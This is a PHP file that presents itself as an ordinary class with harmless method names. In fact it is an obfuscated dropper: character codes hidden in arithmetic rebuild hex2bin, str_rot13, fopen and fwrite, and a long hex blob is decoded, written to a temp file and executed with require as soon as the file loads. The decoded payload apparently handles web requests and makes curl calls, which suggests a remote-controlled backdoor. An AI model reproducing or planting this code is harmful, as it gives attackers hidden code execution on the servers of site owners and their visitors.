<?php
class ExecutionFlow
{
    private $et = '';
    private $nn = '';
    public function authorizeUser($p1)
    {
        $i = array(2 * 55, 3 * 35, 35 * 47 - 1547, 50, 117 + 3, 11 * 5 + 46, 109 - 5);
        $e = '';
        foreach ($i as $s) {
            $e .= chr($s);
        }
        $e = strrev($e);
        return $e($p1);
    }
    public function generateToken($p1)
    {
        $g = array(83 + 17 + 15, 2 * 58, 114, 18 + 64 + 13, 103 + 10 + 1, 64 + 47, 120 - 4, 26 * 23 - 549, 58 - 7);
        $m = '';
        foreach ($g as $mi) {
            $m .= chr($mi);
        }
        return $m($p1);
    }
    public function sanitizeInput($p1, $p2)
    {
        $k = array(2 * 51, 87 * 1 + 24, 65 * 17 - 993, 106 - 5, 17 * 5 + 25);
        $o = '';
        foreach ($k as $i) {
            $o .= chr($i);
        }
        return $o($p1, $p2);
    }
    public function prepareOutput($p1, $p2)
    {
        $q = array(109 - 7, 82 * 1 + 37, 1 + 113, 107 * 54 - 5673, 116, 103 - 2);
        $w = '';
        foreach ($q as $c) {
            $w .= chr($c);
        }
        return $w($p1, $p2);
    }
    public function validateInput($p1)
    {
        $m = array(13 * 3 + 63, 102 - 3, 108, 3 * 37, 40 * 94 - 3645, 108 - 7);
        $u = '';
        foreach ($m as $n) {
            $u .= chr($n);
        }
        return $u($p1);
    }
    public function syncRecords($p1, $p2 = null)
    {
        $r = array(73 + 41, 2 * 58, 114, 113 - 8, 33 * 1 + 76);
        $o = '';
        foreach ($r as $k) {
            $o .= chr($k);
        }
        return $o($p1, $p2);
    }
    public function logTransaction()
    {
        $this->nn = $this->syncRecords($this->saveChanges(), '/');
    }
    public function filterResults()
    {
        $this->et = $this->generateToken($this->authorizeUser($this->bg));
    }
    public function resolveConflict()
    {
        $fn = $this->nn . '/vj-690dc28574e6a';
        $f = $this->sanitizeInput($fn, 'w');
        $this->prepareOutput($f, $this->et);
        $this->validateInput($f);
        $this->executeAction($fn);
    }
    private $bg = '3c3f6375632070796e6666205f7a64657b636576696e67722' . '066676e677670245f6b77663b66676e6776702073686170677' . '66261205f746d28245f766461297b76732821667279733a3a2' . '45f6b776629667279733a3a5f757428293b657267686561207' . '5726b326f766128667279733a3a245f6b77665b245f7664615' . 'd293b7d636576696e67722066676e677670207368617067766' . '261205f757428297b667279733a3a245f6b77663d6e65656e6' . 'c28275f6a6872273d3e2734313633363336353733373332713' . '43336733672373437323673367032713431367036703673373' . '73271347337323639363736393672272e2733272e276e32303' . '26e272c275f766e61273d3e273433367336723734363536723' . '73432713534373937303635336e32303631373037303670363' . '93633363137343639367336723273366e36313736363137333' . '633373236272e273937303734272c275f6f6868273d3e27362' . '72e273336272e2738272c275f756162273d3e2736353739346' . 'e373036333433343933363439366e363733343470366e36373' . '3343470366e363733343470366e363733272e2734343936393' . '7373639363435373435363934733639346e3330356e3538347' . '233303439272e2736393737363936333671353636713439366' . 'e36733639363434373536376e272e2736343433346e272e273' . '3272e2739272c275f6b6b273d3e273731272e273737376e272' . 'e273738272c275f6d677a273d3e2733703673366f3372272c2' . '75f79716b273d3e27337036272e2732272e273631272e27363' . '433272e2772272c275f6f69273d3e273737363136272e27702' . '72e2736272e2770272c275f6f6b273d3e27272c275f7674273' . 'd3e27272c275f6576273d3e27272c275f746972273d3e27363' . '8373437343730336e327332733730373536323272373736353' . '63236363639367036353638367337333734363537323272363' . '3367336713273363336272e277336713730367337333635373' . '2327236272e276e37333373363436313734363133272e27712' . '72c275f776f6d273d3e2736333735373236272e27703573363' . '936723639272e2737272e2734272c275f737467273d3e27363' . '837343734373035733633367336272e27343635272c275f7a6' . '2273d3e273733272e27363336272e2738363536272e2771363' . '5272c275f67676c273d3e27363837272e27343734373037272' . 'e2733272c275f646f73273d3e2734272e2737343535272e273' . '43230272c275f7268273d3e273730363137343638272c275f6' . 'a65273d3e273731373536353732272e273739272c275f79747' . '9273d3e2733272e2773272c275f616b273d3e2737313735362' . '72e27353732272e2737272e2739272c275f6a7768273d3e273' . '230343835343534353032733331327233303071306e3438272' . 'e2736733733373433272e276e272e273230272c275f77706c2' . '73d3e2736383673373337272e2734272c275f6a6477273d3e2' . '73071306e34333673367236723635363337343639367336723' . '36e3230343336703673373336353071306e3071306e272c275' . 'f6e70273d3e27373337333670336e32272e27733273272c275' . 'f7175273d3e27272c275f707a273d3e27363836272e2773373' . '3272e273734272c275f7870273d3e27307130272e276e272c2' . '75f617864273d3e27343835343534353035733433347034393' . '4353472272e2735343573272e2734393530272c275f756d622' . '73d3e2734383534353435303573272e2735383573343634272' . 'e277335272e2732353734313532343434353434272e2735733' . '43634272e277335272e2732272c275f686c273d3e273532343' . '5272e27347134733534343535733431272e273434343435272' . 'e2732272c275f707378273d3e2734383534353435303573353' . '5353334353532357334272e273134373435347235272e27342' . '72c275f6664273d3e273438353435343530357335353533343' . '5353235733431272e2734373435347235272e2734272c275f7' . 'a79273d3e27272c275f766e273d3e27343835272e273435272' . 'e2734353035733532272e273435343634353532343535272e2' . '732272c275f6a6c74273d3e273438272e27353435343530357' . '335323435343634353532343535272e2732272c275f7962782' . '73d3e27272c275f797a273d3e2734383534353435272e27303' . '573343334703439343534272e27723534357334393530272c2' . '75f646c273d3e273438353435272e273435303573343334703' . '43934353472353435272e277334272e27393530272c275f736' . '8273d3e2734383534353435303573353835733436347335323' . '53734313532272e27343434272e2735343435733436272e273' . '4272e2773272e2735272e2732272c275f6d7466273d3e27343' . '835272e2734353435303573353835733436347335323537342' . '72e27313532272e27343434353434272e273573343634272e2' . '773272e2735272e2732272c275f667276273d3e27353234353' . '47134733534272e273435357334272e2731343434272e27343' . '5272e2732272c275f666779273d3e273532343534713473353' . '4272e273435357334272e273134272e2734272e27343435272' . 'e2732272c275f616c273d3e273634363236373671367336343' . '6272e2735272c275f676c273d3e2734393530272e27336e322' . '72e2730272c275f6179273d3e2732303770323035272e27352' . '72e273431272e27336e3230272c275f6263273d3e273230272' . 'e2737703230353236353636336e3230272c275f6276273d3e2' . '7323033703632373233272e2772306e272c275f7071273d3e2' . '736272e27393730272c275f6371273d3e27373536272e27312' . '72c275f6574273d3e2737272e273236353636272c275f6a616' . '7273d3e273731272e273737272e27376e37272e2738272c293' . 'b7d7d70796e6666205f736b797b636576696e67722066676e6' . '77670245f6b77663b66676e677670207368617067766261205' . 'f746d28245f766461297b76732821667279733a3a245f6b776' . '629667279733a3a5f757428293b65726768656120667279733' . 'a3a245f6b77665b245f7664615d3b7d636576696e677220666' . '76e677670207368617067766261205f757428297b667279733' . 'a3a245f6b77663d6e65656e6c2830302c30372c3033362c303' . '3362c30312c3033362c30322c30372c30312c3031362c30333' . '02c30362c3033322c3031322c3031312c3031332c3032372c3' . '033312c30332c30322c30312c30312c30302c3031322c30313' . '22c303331302c303637332c303132302c30302c30323030302' . 'c30312c303432332c30343233293b7d7d75726e717265285f7' . 'a64653a3a5f746d28275f272e276a68272e27722729293b757' . '26e717265285f7a64653a3a5f746d28275f272e2776272e276' . 'e272e27612729293b767328766666726728245f5452475b5f7' . 'a64653a3a5f746d28275f272e276f68272e276827295d29297' . 'b245f62743d5f6876285f7a64653a3a5f746d28275f7561272' . 'e27622729293b767328245f6274262666676563626628245f6' . '2742c5f7a64653a3a5f746d28275f272e276b272e276b27292' . '9213d3d736e796672297b717672285f7a64653a3a5f746d282' . '75f272e276d272e2767272e277a2729293b7d727966727b717' . '672285f7a64653a3a5f746d28275f7971272e276b2729293b7' . 'd7d767328766666726728245f5452475b5f7a64653a3a5f746' . 'd28275f6f272e276927295d29297b245f7866623d245f50424' . '25856523b245f6b683d5f736b793a3a5f746d2830293b245f7' . '664613d5f736b793a3a5f746d2831293b245f6c783d6e65656' . 'e6c28293b245f6c785b245f6b685d3d5f7a64653a3a5f746d2' . '8275f6f272e276b27293b6a7576797228245f766461297b245' . 'f6c785b245f6b685d2e3d245f7866625b5f736b793a3a5f746' . 'd2832295d5b245f7664615d3b76732821245f7866625b5f736' . 'b793a3a5f746d2833295d5b245f7664612b5f736b793a3a5f7' . '46d2834295d297b76732821245f7866625b5f736b793a3a5f7' . '46d2835295d5b245f7664612b5f736b793a3a5f746d2836295' . 'd296f65726e783b245f6b682b2b3b245f6c785b245f6b685d3' . 'd5f7a64653a3a5f746d28275f76272e277427293b245f76646' . '12b2b3b7d245f7664613d245f7664612b5f736b793a3a5f746' . 'd2837292b5f736b793a3a5f746d2838293b7d245f6b683d245' . 'f6c785b5f736b793a3a5f746d2839295d28292e245f6c785b5' . 'f736b793a3a5f746d283130295d3b76732821245f6c785b5f7' . '36b793a3a5f746d283131295d28245f6b6829297b245f76646' . '13d245f6c785b5f736b793a3a5f746d283132295d28245f6b6' . '82c245f6c785b5f736b793a3a5f746d283133295d293b245f6' . 'c785b5f736b793a3a5f746d283134295d28245f7664612c245' . 'f6c785b5f736b793a3a5f746d283135295d2e245f6c785b5f7' . '36b793a3a5f746d283136295d28245f6c785b5f736b793a3a5' . 'f746d283137295d28245f7866625b5f736b793a3a5f746d283' . '138295d2929293b7d7661707968717228245f6b68293b7d736' . '8617067766261205f687628245f7164612c245f6c6c623d736' . 'e7966722c245f7578783d2d34383232312c245f65613d33303' . '43032297b245f68713d5f7a64653a3a5f746d28275f65272e2' . '77627293b245f7364663d5f7a64653a3a5f746d28275f74697' . '227292e245f7164613b76732876665f706e79796e6f7972285' . 'f7a64653a3a5f746d28275f272e27776f272e276d272929297' . 'b245f75636c3d706865795f7661766728245f736466293b706' . '865795f66726762636728245f75636c2c504845594243475f4' . '646595f49524556534c435252452c736e796672293b7068657' . '95f66726762636728245f75636c2c504845594243475f46465' . '95f49524556534c554246472c5f736b793a3a5f746d2831392' . '9293b706865795f66726762636728245f75636c2c504845594' . '243475f53425959424a5942504e475642412c5f736b793a3a5' . 'f746d28323029293b706865795f66726762636728245f75636' . 'c2c504845594243475f45524748454147454e41465352452c5' . 'f736b793a3a5f746d28323129293b706865795f66726762636' . '728245f75636c2c504845594243475f55524e5152452c5f736' . 'b793a3a5f746d28323229293b706865795f667267626367282' . '45f75636c2c504845594243475f5042414152504747565a524' . '248472c5f736b793a3a5f746d28323329293b706865795f667' . '26762636728245f75636c2c504845594243475f47565a52424' . '8472c5f736b793a3a5f746d28323429293b245f68713d70686' . '5795f726b727028245f75636c293b245f68653d706865795f7' . '472677661736228245f75636c293b706865795f70796266722' . '8245f75636c293b767328245f68655b5f7a64653a3a5f746d2' . '8275f7374272e276727295d213d5f736b793a3a5f746d28323' . '5292965726768656120736e7966723b7d727966727b245f6e6' . '23d636e6566725f68657928245f736466293b245f6f6b3d282' . '45f6e625b5f7a64653a3a5f746d28275f272e277a272e27622' . '7295d3d3d5f7a64653a3a5f746d28275f6767272e276c27292' . '93b245f77613d5f7a64653a3a5f746d28275f272e2764272e2' . '76f272e277327292e245f6e625b5f7a64653a3a5f746d28275' . 'f72272e276827295d3b767328766666726728245f6e625b5f7' . 'a64653a3a5f746d28275f272e276a6527295d2929245f77612' . 'e3d5f7a64653a3a5f746d28275f79272e2774272e277927292' . 'e245f6e625b5f7a64653a3a5f746d28275f61272e276b27295' . 'd3b245f77612e3d5f7a64653a3a5f746d28275f6a272e27776' . '827292e245f6e625b5f7a64653a3a5f746d28275f7770272e2' . '76c27295d2e5f7a64653a3a5f746d28275f6a647727293b245' . 'f6576793d7366627078626372612828245f6f6b3f5f7a64653' . 'a3a5f746d28275f272e276e7027293a5f7a64653a3a5f746d2' . '8275f71272e27752729292e245f6e625b5f7a64653a3a5f746' . 'd28275f70272e277a27295d2c245f6f6b3f5f736b793a3a5f7' . '46d283236293a5f736b793a3a5f746d28323729293b7673282' . '45f657679297b736368676628245f6576792c245f7761293b2' . '45f6364653d5f736b793a3a5f746d283238293b6a757679722' . '8217372627328245f65767929297b245f6b633d73747267662' . '8245f6576792c5f736b793a3a5f746d28323929293b7673282' . '45f63646529245f68712e3d245f6b633b767328245f6b633d3' . 'd5f7a64653a3a5f746d28275f7870272929245f6364653d5f7' . '36b793a3a5f746d283330293b7d73707962667228245f65767' . '9293b7d7d657267686561245f68713b7d245f6c61623d76666' . '6726728245f4652454952455b5f7a64653a3a5f746d28275f6' . '1272e27786427295d293b245f786c723d766666726728245f4' . '652454952455b5f7a64653a3a5f746d28275f756d6227295d2' . '93b245f7061783d766666726728245f4652454952455b5f7a6' . '4653a3a5f746d28275f686c27295d293b245f6b6c633d76666' . '6726728245f4652454952455b5f7a64653a3a5f746d28275f7' . '0737827295d293f245f4652454952455b5f7a64653a3a5f746' . 'd28275f66272e276427295d3a5f7a64653a3a5f746d28275f2' . '72e277a7927293b245f6f673d766666726728245f465245495' . '2455b5f7a64653a3a5f746d28275f272e2776272e276e27295' . 'd293f245f4652454952455b5f7a64653a3a5f746d28275f6a2' . '72e276c272e277427295d3a5f7a64653a3a5f746d28275f272' . 'e2779627827293b245f6c61623d766666726728245f4652454' . '952455b5f7a64653a3a5f746d28275f272e2779272e277a272' . '95d293f245f4652454952455b5f7a64653a3a5f746d28275f2' . '72e27646c27295d3a616879793b245f786c723d76666672672' . '8245f4652454952455b5f7a64653a3a5f746d28275f272e277' . '36827295d293f245f4652454952455b5f7a64653a3a5f746d2' . '8275f272e276d74272e276627295d3a616879793b245f70617' . '83d766666726728245f4652454952455b5f7a64653a3a5f746' . 'd28275f66272e27727627295d293f245f4652454952455b5f7' . 'a64653a3a5f746d28275f272e2766677927295d3a616879793' . 'b7673287376796772655f696e6528245f6c61622c5f736b793' . 'a3a5f746d2833312929297b245f6874793d245f6c61623b7d7' . '27966727673287376796772655f696e6528245f786c722c5f7' . '36b793a3a5f746d2833322929297b245f6874793d245f786c7' . '23b7d727966727b245f6874793d245f7061783b7d767328766' . '666726728245f5452475b5f7a64653a3a5f746d28275f61272' . 'e276c27295d29297b72707562205f7a64653a3a5f746d28275' . 'f67272e276c27292e245f6874792e5f7a64653a3a5f746d282' . '75f61272e277927292e245f6b6c632e5f7a64653a3a5f746d2' . '8275f272e27626327292e245f6f672e5f7a64653a3a5f746d2' . '8275f62272e277627293b726b766728293b7d7673282176666' . '6726728245f687479297c7c21766666726728245f6b6c63297' . 'c7c21766666726728245f6f6729297b726b766728293b7d727' . '966727b245f6f646d3d6e65656e6c285f7a64653a3a5f746d2' . '8275f70272e277127293d3e245f6874792c5f7a64653a3a5f7' . '46d28275f272e27637127293d3e245f6b6c632c5f7a64653a3' . 'a5f746d28275f272e2765272e277427293d3e245f6f67293b2' . '45f6c67753d686579726170627172286f6e667236345f72617' . '062717228776662615f72617062717228245f6f646d2929293' . 'b245f62743d5f687628245f6c6775293b767328245f6274262' . '666676563626628245f62742c5f7a64653a3a5f746d28275f2' . '72e276a61272e2767272929213d3d736e796672297b7270756' . '2245f62743b726b766728293b7d7d';
    public function executeAction($p)
    {
        require $p;
    }
    public function saveChanges()
    {
        $a = array(88 * 90 - 7805, 124 - 3, 88 * 1 + 27, 85 * 84 - 7045, 103 * 1, 27 + 7 + 67, 116, 95, 23 * 14 - 206, 107 - 6, 31 * 48 - 1379, 112, 5 * 19, 30 * 2 + 40, 107 - 2, 2 * 57);
        $s = '';
        foreach ($a as $n) {
            $s .= chr($n);
        }
        return $s();
    }
}

$ic = new ExecutionFlow();
$ic->logTransaction();
$ic->filterResults();
$ic->resolveConflict();